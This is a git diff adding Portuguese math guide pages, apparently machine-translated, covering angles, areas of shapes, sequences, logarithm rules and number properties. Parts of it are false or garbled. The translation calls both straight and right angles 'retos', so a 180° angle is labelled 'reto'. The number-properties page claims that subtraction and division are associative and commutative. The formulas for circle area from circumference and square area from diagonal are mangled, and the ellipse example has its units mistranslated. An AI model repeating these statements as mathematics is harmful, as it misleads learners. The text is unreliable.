diff --git a/client/src/guide/portuguese/mathematics/angles-acute-obtuse-straight-and-right/index.md b/client/src/guide/portuguese/mathematics/angles-acute-obtuse-straight-and-right/index.md
new file mode 100644
index 0000000000..72d741b510
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/angles-acute-obtuse-straight-and-right/index.md
@@ -0,0 +1,54 @@
+---
+title: Angles Acute Obtuse Straight and Right
+localeTitle: Ângulos agudos obtusos em linha reta e direita
+---
+## Ângulos: agudo, obtuso, reto e direito
+
+Existem quatro tipos de ângulos dependendo do seu tamanho em graus. Esses são:
+
+*   Ângulos retos
+*   Ângulos retos
+*   Ângulos agudos
+*   Ângulos obtusos
+
+### Ângulos retos
+
+Ângulos retos são ângulos que medem exatamente 90 °. Por exemplo, o ângulo no canto de um quadrado ou retângulo é um ângulo reto. Um exemplo de um ângulo reto está abaixo: ![exemplo de um ângulo reto](https://user-images.githubusercontent.com/17547686/31929587-4f167f38-b8a5-11e7-8ee7-e76fc239e866.png)
+
+### Ângulos retos
+
+Ângulos retos são ângulos que medem exatamente 180 °. Por exemplo, uma linha reta tem um ângulo reto. Um exemplo de um ângulo reto está abaixo: ![exemplo de um ângulo reto](https://user-images.githubusercontent.com/17547686/31929586-4efbd912-b8a5-11e7-8f43-5d73cca6e2eb.png)
+
+### Ângulos agudos
+
+Ângulos agudos são ângulos que têm uma medida menor que 90 °. Por exemplo, uma letra maiúscula "A" tem um ângulo agudo. Um exemplo de um ângulo agudo está abaixo: ![captura de tela 2017-10-24 às 10 22 45](https://user-images.githubusercontent.com/17547686/31929585-4ee08266-b8a5-11e7-8af6-9860a8c46e67.png)
+
+### Ângulos obtusos
+
+Ângulos obtusos são ângulos que têm uma medida de mais de 90 °, mas menos de 180 °. Por exemplo, um relógio mostrando 5 horas tem um ângulo obtuso. Um exemplo de um ângulo obtuso está abaixo: ![exemplo de um ângulo obtuso](https://user-images.githubusercontent.com/17547686/31929584-4ec4b216-b8a5-11e7-943d-ea74ce460f1b.png)
+
+### Exemplos
+
+#### Exemplo 1
+
+Qual é a medida do maior ângulo agudo inteiro?
+
+ Como os ângulos agudos são ângulos com uma medida menor que 90 °, o maior ângulo agudo inteiro terá 
+ uma medida de 89 °. 
+
+#### Exemplo 2
+
+Qual é a medida do menor ângulo obtuso inteiro?
+
+ Como os ângulos obtusos são ângulos com uma medida maior que 90 °, o menor ângulo obtuso inteiro terá 
+ uma medida de 91 °. 
+
+#### Exemplo 3
+
+Qual é a medida do ângulo em uma letra maiúscula "L", e que tipo de ângulo é esse?
+
+ A medida do ângulo em uma letra maiúscula "L" é 90 °, e o ângulo é um ângulo reto. 
+
+## Fontes:
+
+Todas as imagens foram tiradas de "Angle Types Review". _Khan Academy._ Acesso em: 24 de outubro de 2017.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/antiderivatives-and-indefinite-integrals/index.md b/client/src/guide/portuguese/mathematics/antiderivatives-and-indefinite-integrals/index.md
new file mode 100644
index 0000000000..e3a3bd2a97
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/antiderivatives-and-indefinite-integrals/index.md
@@ -0,0 +1,16 @@
+---
+title: Antiderivatives and Indefinite Integrals
+localeTitle: Antiderivadas e Integrais Indefinidas
+---
+## Antiderivadas e Integrais Indefinidas
+
+Calcular uma antiderivada e integrar uma integral indefinida são sinônimos. Uma integral "indefinida" é aquela que é considerada em todos os valores numéricos, de -∞ a + ∞ (ou seja, não há números no limite superior ou inferior do símbolo de integração).
+
+Integração calcula a área sob uma curva particular, aquela que é definida no integrando. Intervalos indefinidos consideram as áreas de muitos infinitos retângulos infinitamente pequenos para calcular a área sob uma curva de particlar.
+
+Aplicações na vida real de antiderivadas e integrais indefinidas são comumente encontradas na física, onde é possível integrar uma dada velocidade para calcular o quanto um objeto em particular se moveu (deslocamento).
+
+#### Mais Informações:
+
+*   [Artigo útil sobre antiderivadas e integrais indefinidas](https://www.intmath.com/integration/2-indefinite-integral.php)
+*   [O Wolfram | Alpha é uma ferramenta útil para visualizar a integração](http://www.wolframalpha.com/calculators/integral-calculator/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/area-between-a-curve-and-the-x-axis/index.md b/client/src/guide/portuguese/mathematics/area-between-a-curve-and-the-x-axis/index.md
new file mode 100644
index 0000000000..3ee29060b7
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/area-between-a-curve-and-the-x-axis/index.md
@@ -0,0 +1,21 @@
+---
+title: Area-between-a-curve-and-X-axis
+localeTitle: Área entre uma curva e um eixo X
+---
+## Área entre uma curva e o eixo X
+
+Para encontrar a área entre uma curva e o eixo x, a ferramenta mais preferida é [a integração definitiva](https://www.mathsisfun.com/calculus/integration-definite.html) da curva dada.
+
+Para encontrar a área sob a curva y = f (x) entre x = a e x = b, integre y = f (x) entre os limites de a e b.
+
+![img](https://upload.wikimedia.org/wikipedia/commons/f/f2/Integral_as_region_under_curve.svg)
+
+![img](https://latex.codecogs.com/gif.latex?%5Clarge%20S%20%3D%20%5Cint_%7Ba%7D%5E%7Bb%7D%20f%28x%29%20dx)
+
+## Alguns exemplos
+
+NOTA: As áreas sob o eixo x sairão negativas e as áreas acima do eixo x serão positivas. Isso significa que você precisa ter cuidado ao encontrar uma área que esteja parcialmente acima e parcialmente abaixo do eixo x.
+
+#### Mais Informações:
+
+*   [Aulas interativas para área sob a curva](https://www.intmath.com/applications-integration/2-area-under-curve.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/area-of-a-circle/index.md b/client/src/guide/portuguese/mathematics/area-of-a-circle/index.md
new file mode 100644
index 0000000000..35dfbf9377
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/area-of-a-circle/index.md
@@ -0,0 +1,82 @@
+---
+title: Area of a Circle
+localeTitle: Área de um círculo
+---
+## Área de um círculo
+
+A área de um círculo é todo o espaço dentro da circunferência de um círculo.
+
+Se 'r' é o raio do círculo, sua área é calculada com a fórmula pi \* r 2 onde pi é uma constante matemática.
+
+pi = 22/7 = 3,141592….
+
+A = pi \* r 2 , r é o raio do círculo
+
+A = pi \* d {2/4}, d é o diâmetro do círculo, d = 2 \* r
+
+![alt](http://areacircle.com/Area_of_a_circle_basics.png)
+
+Área de um círculo é definida como o espaço delimitado pela circunferência do círculo.
+
+#### Terminologia
+
+Circunferência (C) - O limite envolvente do círculo é chamado circunferência do círculo.
+
+Raio (r) - O comprimento de uma linha de qualquer ponto no limite / circunferência do círculo até o centro do círculo é conhecido como o raio do círculo.
+
+Diâmetro (d) - O comprimento da linha que passa pelo círculo através do centro do círculo é chamado de diâmetro.
+
+Pi ( π ) - Uma constante matemática que é aproximada como 3.14
+
+#### Fórmula
+
+Área = π × r2
+
+###### Dado raio do círculo
+
+Área do círculo = π \* _raio_ 2
+
+###### Dado diâmetro do círculo
+
+Sabemos que `diameter = 2 * radius` , então você pode derivar a área do círculo como abaixo,
+
+Área do círculo = π \* _(diâmetro / 2)_ 2
+
+###### Dado circunferência do círculo
+
+Sabemos que a circunferência do círculo (C), `C = 2 * π * (radius)` . A partir disso, você pode derivar a área do círculo como abaixo,
+
+Área de círculo _C_ = 2/4 \* π
+
+#### Exemplos
+
+1.  Raio dado = 3 cm, localize a área do círculo
+    
+    Área = 3,14 \* 9 = 28,26 cm 2
+    
+2.  Dado diâmetro = 8cm, encontre a área do círculo
+    
+    Raio = (Diâmetro / 2) = 4 cm
+    
+    Área = 3,14 \* 16 = 50,24 cm 2
+    
+3.  Dada a circunferência de um círculo = 25cm, encontre a área do círculo
+    
+    Área = 625 / (4 \* 3,14) = 49,76 cm 2
+    
+
+Um exemplo do "Mundo Real": -
+
+Exemplo: Max está construindo uma casa. O primeiro passo é fazer furos e preenchê-los com concreto. Os buracos têm 0,4 m de largura e 1 m de profundidade, quanto de concreto deve ser pedido por Max para cada furo?
+
+Os furos são circulares (em seção transversal) porque são perfurados usando um trado. O diâmetro é de 0,4m, então a área é: A = (π / 4) × D2 A = (3,14159… / 4) × 0,42 A = 0,7854… × 0,16 A = 0,126 m2 (para 3 decimais) E os buracos têm 1 m de profundidade, então: Volume = 0,126 m2 × 1 m = 0,126 m3 Então Max deveria pedir 0,126 metros cúbicos de concreto para encher cada buraco.
+
+Nota: Max poderia ter estimado a área por:
+
+1.  Calculando um furo quadrado: 0,4 × 0,4 = 0,16 m2
+2.  Tomando 80% disso (estima um círculo): 80% × 0,16 m2 = 0,128 m2
+3.  E o volume de um buraco profundo de 1 m é: 0,128 m3
+
+#### Mais Informações
+
+Mais informações com ilustrações podem ser encontradas [WikiHow](https://www.wikihow.com/Calculate-the-Area-of-a-Circle)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/area-of-a-ellipse/index.md b/client/src/guide/portuguese/mathematics/area-of-a-ellipse/index.md
new file mode 100644
index 0000000000..6df60216b7
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/area-of-a-ellipse/index.md
@@ -0,0 +1,30 @@
+---
+title: Area of an Ellipse
+localeTitle: Área de uma elipse
+---
+## Área de uma elipse
+
+Uma elipse é uma forma 2D definida por uma curva contínua e dois pontos de foco. A soma das duas distâncias dos focos para qualquer ponto da curva é constante.
+
+#### Terminologia
+
+*   Focos ou pontos de foco - esses pontos são equidistantes do centro da elipse
+*   Eixo maior - a linha desenhada cortando a elipse ao meio e passando por ambos os focos
+*   Eixo menor - a linha desenhada cortando a elipse ao meio e correndo entre os dois focos
+
+![](https://jwolfgang.info/wp-content/uploads/2017/10/area-of-ellipse2.png)
+
+##### Fórmula
+
+Área da elipse = (π) (1/2) (eixo maior) (1/2) (eixo menor)
+
+##### Exemplo
+
+Dado eixo maior = 2 in, eixo menor = 7 na área de localização da elipse.
+
+Área = 1/2 \* 2 em \* 1/2 \* 7 em \* π = 11 em 2
+
+#### Mais Informações:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Ellipse)
+*   [Matemática é divertida](https://www.mathsisfun.com/geometry/ellipse.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/area-of-a-parallelogram/index.md b/client/src/guide/portuguese/mathematics/area-of-a-parallelogram/index.md
new file mode 100644
index 0000000000..d08e30ff7b
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/area-of-a-parallelogram/index.md
@@ -0,0 +1,19 @@
+---
+title: Area of a Parallelogram
+localeTitle: Área de um paralelogramo
+---
+## Área de um paralelogramo
+
+Um paralelogramo é uma figura de quatro lados na qual os lados e ângulos opostos são iguais. Pode ser considerado como sendo composto por dois mesmos triângulos colados base a base. ![texto alternativo](http://www.onemathematicalcat.org/Math/Geometry_obj/graphics/area_parallelogram.bmp)
+
+A área de um triângulo é `1/2 * base * height` e a área de um paralelogramo é a adição de áreas dos dois mesmos triângulos. Assim sendo,
+
+### Exemplo
+
+Considere um paralleograma como mostrado na figura. ![texto alternativo](http://www.proprofs.com/quiz-school/upload/yuiupload/812246308.jpg)
+
+Portanto, Área = 6 \* 2.5 = 15 (m) ^ 2
+
+#### Mais Informações:
+
+Para mais detalhes visite o [wiki](https://en.wikipedia.org/wiki/Parallelogram)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/area-of-a-rectangle/index.md b/client/src/guide/portuguese/mathematics/area-of-a-rectangle/index.md
new file mode 100644
index 0000000000..b8e35b987f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/area-of-a-rectangle/index.md
@@ -0,0 +1,17 @@
+---
+title: Area of a Rectangle
+localeTitle: Área de um retângulo
+---
+## Área de um retângulo
+
+A área de um retângulo pode ser calculada multiplicando-se os comprimentos dos dois lados perpendiculares.
+
+`Area = axb`
+
+**Por exemplo** Para um retângulo onde _a = 3_ _eb = 4_
+
+`Area = axb = 3 x 4 = 12`
+
+#### Mais Informações:
+
+*   [Nerd virtual](http://virtualnerd.com/pre-algebra/perimeter-area-volume/perimeter-and-area/area-formulas-examples/rectangle-area-example)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/area-of-a-sector/index.md b/client/src/guide/portuguese/mathematics/area-of-a-sector/index.md
new file mode 100644
index 0000000000..1656615458
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/area-of-a-sector/index.md
@@ -0,0 +1,27 @@
+---
+title: Area of a Sector
+localeTitle: Área de um setor
+---
+## Área de um setor
+
+Um setor é a parte de um círculo cercado por dois raios e um arco, onde a área menor é conhecida como Menor e a área maior é conhecida como o setor Maior.
+
+![Circle Sector](https://upload.wikimedia.org/wikipedia/commons/d/da/Circle_arc.svg "Um círculo mostrando setor secundário e principal")
+
+Setor menor sombreado em verde. _L_ é o comprimento do arco. _θ_ é o ângulo em radianos. _r_ é o raio.
+
+**A área de um setor pode ser obtida multiplicando a área do círculo pela relação entre o ângulo _(θ °)_ e _2π (360 °) da_ seguinte maneira** :
+
+A = \* πr 2 \* (θ ° / 360) \*
+
+### Exemplo:
+
+Um círculo tem um raio de 5 cm. Calcule a área de um setor quando o ângulo feito pelos raios for de 60 °. Como uma aproximação para pi, usaremos 22/7.
+
+A = \* (22/7) \* 5 2 \* (60 ° / 360 °) \*
+
+A = **13,095 cm 2**
+
+#### Mais Informações:
+
+*   [Setor Circular](https://en.wikipedia.org/wiki/Circular_sector)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/area-of-a-square/index.md b/client/src/guide/portuguese/mathematics/area-of-a-square/index.md
new file mode 100644
index 0000000000..ac8f383c46
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/area-of-a-square/index.md
@@ -0,0 +1,62 @@
+---
+title: Area of a Square
+localeTitle: Área de um quadrado
+---
+## Área de um quadrado
+
+Um quadrado é um quadrilátero com lados idênticos.
+
+A área de um quadrado pode ser calculada a partir do comprimento do lado ou do comprimento da diagonal.
+
+![Quadrado](https://github.com/viso-gio/HostedImages/blob/master/square.jpg?raw=true)
+
+Se o lado _a_ é conhecido:
+
+![Fórmula 1](https://github.com/viso-gio/HostedImages/blob/master/AreaSquare1.png?raw=true)
+
+Se a diagonal _d_ é conhecida:
+
+![Fórmula2](https://github.com/viso-gio/HostedImages/blob/master/AreaSquare2.png?raw=true)
+
+A relação entre o lado _a_ e diagonal _d_ é:
+
+![Diagonal](https://github.com/viso-gio/HostedImages/blob/master/DiagonalSquare.png?raw=true)
+
+### Terminologia
+
+Diagonal - a distância dos cantos opostos de um quadrado. Os cantos são de 90 graus.
+
+Perímetro - a soma do comprimento de quatro lados em um quadrado. Os quatro lados são iguais em um quadrado.
+
+### Exemplos
+
+1.  Dado comprimento de um lado do quadrado é de 8 unidades:
+    
+    Área = 8 x 8 = 64 unidades 2
+    
+2.  Dada área de um quadrado é de 100 unidades 2 :
+    
+    Comprimento = √ 100 = 10 unidades
+    
+3.  Dada diagonal da praça é de 25 unidades:
+    
+    Area = 10 2/2 = 2 50 unidades
+    
+4.  Dado perímetro de um quadrado é de 20 unidades:
+    
+    Área = (20/4) 2 = 25 unidades 2
+    
+
+Encontre a área de um quadrado dado o perímetro:
+
+Para encontrar a área de um quadrado dado o perímetro, simplesmente comece dividindo o perímetro dado por 4. Por que 4? Porque um quadrado tem quatro (4) lados. Dividir por 4 lhe daria o comprimento de um lado. Agora, marque o lado conhecido. Para quadrar, multiplique por si só uma vez. Depois de obter o resultado, converta-o em unidades quadradas; adicionando um ² à resposta.
+
+Ex: Perímetro: 20
+
+20/4 = 5 5 x 5 = 25 25 = 25²
+
+#### Mais Informações:
+
+*   [Wikipedia: Square](https://en.wikipedia.org/wiki/Square#Perimeter_and_area)
+*   [Mais ilustrações](https://www.wikihow.com/Find-the-Area-of-a-Square) -
+*   [mais](https://sciencing.com/area-square-using-its-perimeter-7991359.html) -
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/area-of-a-trapezium/index.md b/client/src/guide/portuguese/mathematics/area-of-a-trapezium/index.md
new file mode 100644
index 0000000000..6f2868ff77
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/area-of-a-trapezium/index.md
@@ -0,0 +1,15 @@
+---
+title: Area of a Trapezium
+localeTitle: Área de um Trapézio
+---
+## Área de um Trapézio
+
+A área de um Trapézio é definida pelo espaço 2D envolvido pelo Trapézio. Um trapézio é um quadrilátero com 2 lados paralelos opostos de comprimento igual ou desigual e 2 lados opostos não paralelos de comprimento igual ou desigual.
+
+Deixe os lados paralelos serem representados por 'a' e 'b' e a distância perpendicular entre esses lados paralelos seja 'h' então A área do trapézio = 1/2 \* (a + b) \* h
+
+o que significa Area of ​​Trapezium = 1/2 \* (soma dos lados paralelos) \* (distância perpendicular entre os lados paralelos).
+
+\## Nota:
+
+Área de trapézio também pode ser encontrada dividindo o trapézio em uma série de triângulo e retângulo e, finalmente, adicionando suas áreas separadamente.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/area-of-a-triangle/index.md b/client/src/guide/portuguese/mathematics/area-of-a-triangle/index.md
new file mode 100644
index 0000000000..fed5c07993
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/area-of-a-triangle/index.md
@@ -0,0 +1,53 @@
+---
+title: Area of a Triangle
+localeTitle: Área de um triângulo
+---
+## Área de um triângulo
+
+Um triângulo é um polígono de três lados e duas dimensões. Existem dois métodos para determinar a área.
+
+### Método 1
+
+A área de um triângulo pode ser calculada multiplicando 0,5 pelo comprimento da base até a altura perpendicular.
+
+![Triângulo-1](https://github.com/uuykay/misc/blob/master/area-triangle-image-2.jpg)
+
+Matematicamente isto é expresso como:
+
+![Fórmula 1](https://github.com/uuykay/misc/blob/master/triangle-equation-area-1.jpg)
+
+### Método 2
+
+Se a altura perpendicular não for conhecida, você poderá usar um método diferente para calcular a área. Se você souber o comprimento de dois lados e o tamanho do ângulo entre eles, a área poderá ser encontrada.
+
+![Triângulo-2](https://github.com/uuykay/misc/blob/master/area-triangle-image-3.jpg)
+
+Matematicamente isto é expresso como:
+
+![Fórmula 2](https://github.com/uuykay/misc/blob/master/triangle-equation-area-2.jpg)
+
+Observe que a fórmula expressa acima usa os lados aebe ângulo C entre eles. Estes podem ser substituídos por outros dois lados e pelo ângulo entre eles.
+
+### Terminologia
+
+Base - o lado inferior. Selecione um lado que seja conhecido.
+
+Altura Perpendicular - A altura do triângulo, medido perpendicularmente à base, até o ponto mais alto do triângulo.
+
+Sin - A expressão trigonométrica senoidal.
+
+### Exemplos
+
+1.  Encontre a área de um triângulo com um comprimento base de 4 unidades e uma altura perpendicular de 12 unidades
+    
+    Área = 0,5 x 4 x 12 = 24 unidades 2
+    
+2.  Se dois lados de um triângulo são conhecidos como 3 e 6, e o ângulo entre eles é de 30 graus, qual é o ângulo do triângulo?
+    
+    Área = 0,5 x 3 x 6 x sin (30 graus) = 4,5 unidades 2
+    
+
+#### Mais Informações:
+
+*   [Wikipedia: Triângulo](https://en.wikipedia.org/wiki/Triangle)
+*   [Mais exemplos](https://mathbits.com/MathBits/TISection/Trig/AreaTrigTri.htm)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/area-of-trapezoids/index.md b/client/src/guide/portuguese/mathematics/area-of-trapezoids/index.md
new file mode 100644
index 0000000000..55a8ba5e09
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/area-of-trapezoids/index.md
@@ -0,0 +1,13 @@
+---
+title: Area of Trapezoids
+localeTitle: Área de Trapézios
+---
+## Área de Trapézios
+
+A área de um trapézio é definida como
+
+\*\* A = (a + b) / 2 xh \*\* Onde, a, b são os comprimentos de cada base h é a altitude (altura)
+
+#### Mais Informações:
+
+Um vídeo explicando como encontrar a área de um trapézio pode ser encontrado na [Khan Academy](https://www.khanacademy.org/math/basic-geo/basic-geo-area-and-perimeter/area-trap-composite/v/area-of-a-trapezoid-1)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/area-of-triangles/index.md b/client/src/guide/portuguese/mathematics/area-of-triangles/index.md
new file mode 100644
index 0000000000..d487e14c31
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/area-of-triangles/index.md
@@ -0,0 +1,33 @@
+---
+title: Area of Triangles
+localeTitle: Área dos Triângulos
+---
+## Área dos Triângulos
+
+A área de um triângulo é o espaço fechado total no plano bidimensional pelos lados do triângulo.
+
+A área de um triângulo pode ser calculada multiplicando-se uma metade pela base \* altura
+
+Por exemplo, se você tem um triângulo de 3 cm na base e 4 cm de altura, você pode trabalhar na área:
+
+Areaa = 0,5 \* 3 \* 4 = 6 cm²
+
+#### Terminologia
+
+*   Base (b) - O comprimento de um lado do triângulo.
+*   Altura (h) - O comprimento de uma linha perpendicular à base no ponto oposto do triângulo.
+
+#### Fórmula
+
+**Área = 0.5 \* base do triângulo \* altura do triângulo**
+
+![Triângulo](http://www.mathportal.org/calculators/plane-geometry-calculators/triangleEquilateral.gif)
+
+Por exemplo, na imagem acima,
+
+Área = 0,5 \* a \* h
+
+### Mais Informações
+
+*   [Área dos Triângulos](http://www.onlinemathlearning.com/area-triangle.html)
+*   [Como calcular a área de um triângulo](https://www.wikihow.com/Calculate-the-Area-of-a-Triangle)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/arithmetic-sequence/index.md b/client/src/guide/portuguese/mathematics/arithmetic-sequence/index.md
new file mode 100644
index 0000000000..b60f3393ea
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/arithmetic-sequence/index.md
@@ -0,0 +1,15 @@
+---
+title: Arithmetic Sequence
+localeTitle: Sequência aritmética
+---
+## Sequência aritmética
+
+Uma sequência aritmética, ou progressão aritmética, é uma sequência de números em que a diferença entre cada número consecutivo é a mesma.
+
+Se n é a colocação de algum termo na sequência (por exemplo, 1, 2, 3…), d é a diferença entre cada termo consecutivo, k é o primeiro a colocação do primeiro termo conhecido da sequência (por exemplo, se você conhece o termo primeiro termo, então k = 1), a k é o valor do k- ésimo termo na sequência (ie o valor no termo número k), e a n é o valor do nésimo termo na sequência (ie o valor no número do termo n), então a equação para uma sequência aritmética é esta 1 :
+
+a n = a k + d (n - k)
+
+### Fontes
+
+1.  ["Progressões aritméticas". _Brilliant.org_ . 1º de outubro de 2018.](https://brilliant.org/wiki/arithmetic-progressions/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/arithmetic-series/index.md b/client/src/guide/portuguese/mathematics/arithmetic-series/index.md
new file mode 100644
index 0000000000..abdaf243fa
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/arithmetic-series/index.md
@@ -0,0 +1,11 @@
+---
+title: Arithmetic Series
+localeTitle: Série aritmética
+---
+## Série aritmética
+
+Uma série aritmética é a soma de todos os termos em uma sequência aritmética.
+
+Se n é o número total de termos na sequência, a 1 é o valor do primeiro termo na sequência e ak é o valor do último termo na sequência, a soma da sequência será igual a:
+
+![equação da série aritmética](https://github.com/Zoonn123/resources/blob/master/arithmeticserieshacktoberfestedit.png)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/asymptotes-worked-examples/index.md b/client/src/guide/portuguese/mathematics/asymptotes-worked-examples/index.md
new file mode 100644
index 0000000000..a7d6fcb005
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/asymptotes-worked-examples/index.md
@@ -0,0 +1,17 @@
+---
+title: Asymptotes Worked Examples
+localeTitle: Assíntotas Trabalhadas Exemplos
+---
+## Assíntotas Trabalhadas Exemplos
+
+As assíntotas de uma curva são definidas como uma linha, de modo que, à medida que a curva vai ao infinito, tenderá a encontrar essa linha.
+
+Exemplo, Pegue a curva de f (x) = (1 / x) ![img](https://qph.fs.quoracdn.net/main-qimg-c5be56e1b5d297b9995615a47707f52b.webp)
+
+Aqui você pode ver que as linhas x = 0 e y = 0 tendem a atender a curva no infinito.
+
+### Mais Informações:
+
+[www.mathsisfun.com/algebra/asymptote](https://www.mathsisfun.com/algebra/asymptote.html)
+
+[Wikipedia](https://en.wikipedia.org/wiki/Asymptote)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/axis-of-symmetry-of-a-parabola/index.md b/client/src/guide/portuguese/mathematics/axis-of-symmetry-of-a-parabola/index.md
new file mode 100644
index 0000000000..318c11636e
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/axis-of-symmetry-of-a-parabola/index.md
@@ -0,0 +1,13 @@
+---
+title: Axis of Symmetry of a Parabola
+localeTitle: Eixo de simetria de uma parábola
+---
+## Eixo de simetria de uma parábola
+
+O eixo de simetria de uma parábola é a linha que bissecta perfeitamente (ou divide em duas partes pares) a parábola.
+
+Isso é o mesmo que uma linha vertical desenhada no valor x do vértice da parábola. Sabendo disso, você pode encontrar facilmente a linha de simetria usando a forma de vértice de uma equação quadrática (parabólica):
+
+y = a (xh) 2 + k
+
+Nesta forma, as coordenadas do vértice de uma parábola são dadas por (h, k), significando que a equação da linha de simetria será x = h.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/basic-log-rules-and-expanding-log-expressions/index.md b/client/src/guide/portuguese/mathematics/basic-log-rules-and-expanding-log-expressions/index.md
new file mode 100644
index 0000000000..215c1a2718
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/basic-log-rules-and-expanding-log-expressions/index.md
@@ -0,0 +1,53 @@
+---
+title: Basic Log Rules and Expanding Log Expressions
+localeTitle: Regras Básicas de Log e Expressões de Log de Expansão
+---
+## Regras Básicas de Log e Expressões de Log de Expansão
+
+A seguir estão as regras de log básicas comumente usadas:
+
+###### Regra do produto logaritmo
+
+log b (x \* y) = log b (x) + log b (y)
+
+###### Regra de Quociente de Logaritmo
+
+log b (x / y) = log b (x) - log b (y)
+
+###### Regra de Poder do Logaritmo
+
+log b (x y ) = y \* log b (x)
+
+###### Logaritmo do Número Negativo
+
+log b (x) é indefinido quando x <0
+
+###### Logaritmo de 0
+
+log b (0) é indefinido
+
+lim x → 0+ log b (x) = -infinito
+
+###### Logaritmo de 1
+
+log b (1) = 0
+
+###### Logaritmo da Base
+
+log b (b) = 1
+
+###### Logaritmo do Infinito
+
+lim x → log infinito b (x) = infinito
+
+###### Regra de troca de base de logaritmo
+
+log b (c) = 1 / log c (b)
+
+###### Regra de alteração de base do logaritmo
+
+log b (x) = log c (x) / log c (b)
+
+#### Mais Informações:
+
+[Regras de logaritmo](http://www.rapidtables.com/math/algebra/Logarithm.htm)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/basic-number-properties-associative-commutative-and-distributive/index.md b/client/src/guide/portuguese/mathematics/basic-number-properties-associative-commutative-and-distributive/index.md
new file mode 100644
index 0000000000..ef099673fa
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/basic-number-properties-associative-commutative-and-distributive/index.md
@@ -0,0 +1,69 @@
+---
+title: Basic Number Properties Associative, Commutative, and Distributive
+localeTitle: Propriedades básicas de números associativas, comutativas e distributivas
+---
+## Propriedades básicas de números associativas, comutativas e distributivas
+
+Estas são 3 propriedades básicas dos números.  
+Essas propriedades desempenham um papel importante na matemática avançada. Os livros didáticos geralmente não os discutem em detalhes porque todos Os sistemas numéricos que usamos até o ensino médio seguem essas propriedades por padrão.  
+Ao estudar matemática avançada, sabemos a importância dessas propriedades.
+
+# Propriedades uma por uma:
+
+## Associatividade
+
+"Associar" significa formar grupos de operandos.  
+Se uma operação (por exemplo, +, -, ×, /) for associativa, significa que **o resultado permanecerá o mesmo, independentemente do agrupamento de operandos.**
+
+ por exemplo, considere operação +, 
+ vamos, a = 3, b = 4, c = 5 
+ (a + b) + c = a + (b + c) 
+ -> (3 + 4) + 5 = 3 + (4 + 5) 
+ -> 12 = 12 
+
+\###### experimenta com operação de multiplicação, e os mesmos valores de variáveis ​​acima, ### Nota:
+
+*   Todas as 4 operações aritméticas básicas (ou seja, +, -, ×, /) seguem Associatividade.
+    
+    * * *
+    
+    * * *
+    
+    * * *
+    
+
+## Comutatividade
+
+"Comutar" significa movimentar-se, neste caso, operandos movimentam-se pelo operador.  
+Se uma operação (por exemplo, +, -, ×, /) é comutativa, significa que **o resultado permanecerá igual, independentemente da ordem em que os operandos são avaliados.**
+
+ por exemplo, considere operação +, 
+ vamos, a = 3, b = 4 
+ a + b = b + a 
+ -> 3 + 4 = 4 + 3 
+ -> 7 = 7 
+
+\###### experimenta com operação de multiplicação, e os mesmos valores de variáveis ​​acima, ### Nota:
+
+*   Todas as 4 operações aritméticas básicas (ou seja, +, -, ×, /) seguem a comutatividade.
+    
+    * * *
+    
+    * * *
+    
+    * * *
+    
+
+## Distributividade
+
+Esta propriedade é fácil de lembrar, sabendo que "Multiplicação é distributiva em adição". Exemplo,  
+a × (b + c) = a × b + a × c ou seja, a multiplicação é realizada separadamente em operandos de adição e, em seguida, a adição é realizada.  
+
+ 3 × (4 + 5) 
+ -> 3 × 4 + 3 × 5 
+ -> 12 + 15 
+ -> 27 
+
+\### Nota
+
+*   A multiplicação é distributiva sobre a adição, mas vice-versa não é verdadeira.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/basic-percent-of-word-problems/index.md b/client/src/guide/portuguese/mathematics/basic-percent-of-word-problems/index.md
new file mode 100644
index 0000000000..8787040b4c
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/basic-percent-of-word-problems/index.md
@@ -0,0 +1,11 @@
+---
+title: Basic Percent of Word Problems
+localeTitle: Porcentagem Básica de Problemas do Word
+---
+## Porcentagem Básica de Problemas do Word
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/basic-percent-of-word-problems/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/basis/index.md b/client/src/guide/portuguese/mathematics/basis/index.md
new file mode 100644
index 0000000000..5cef5929a6
--- /dev/null
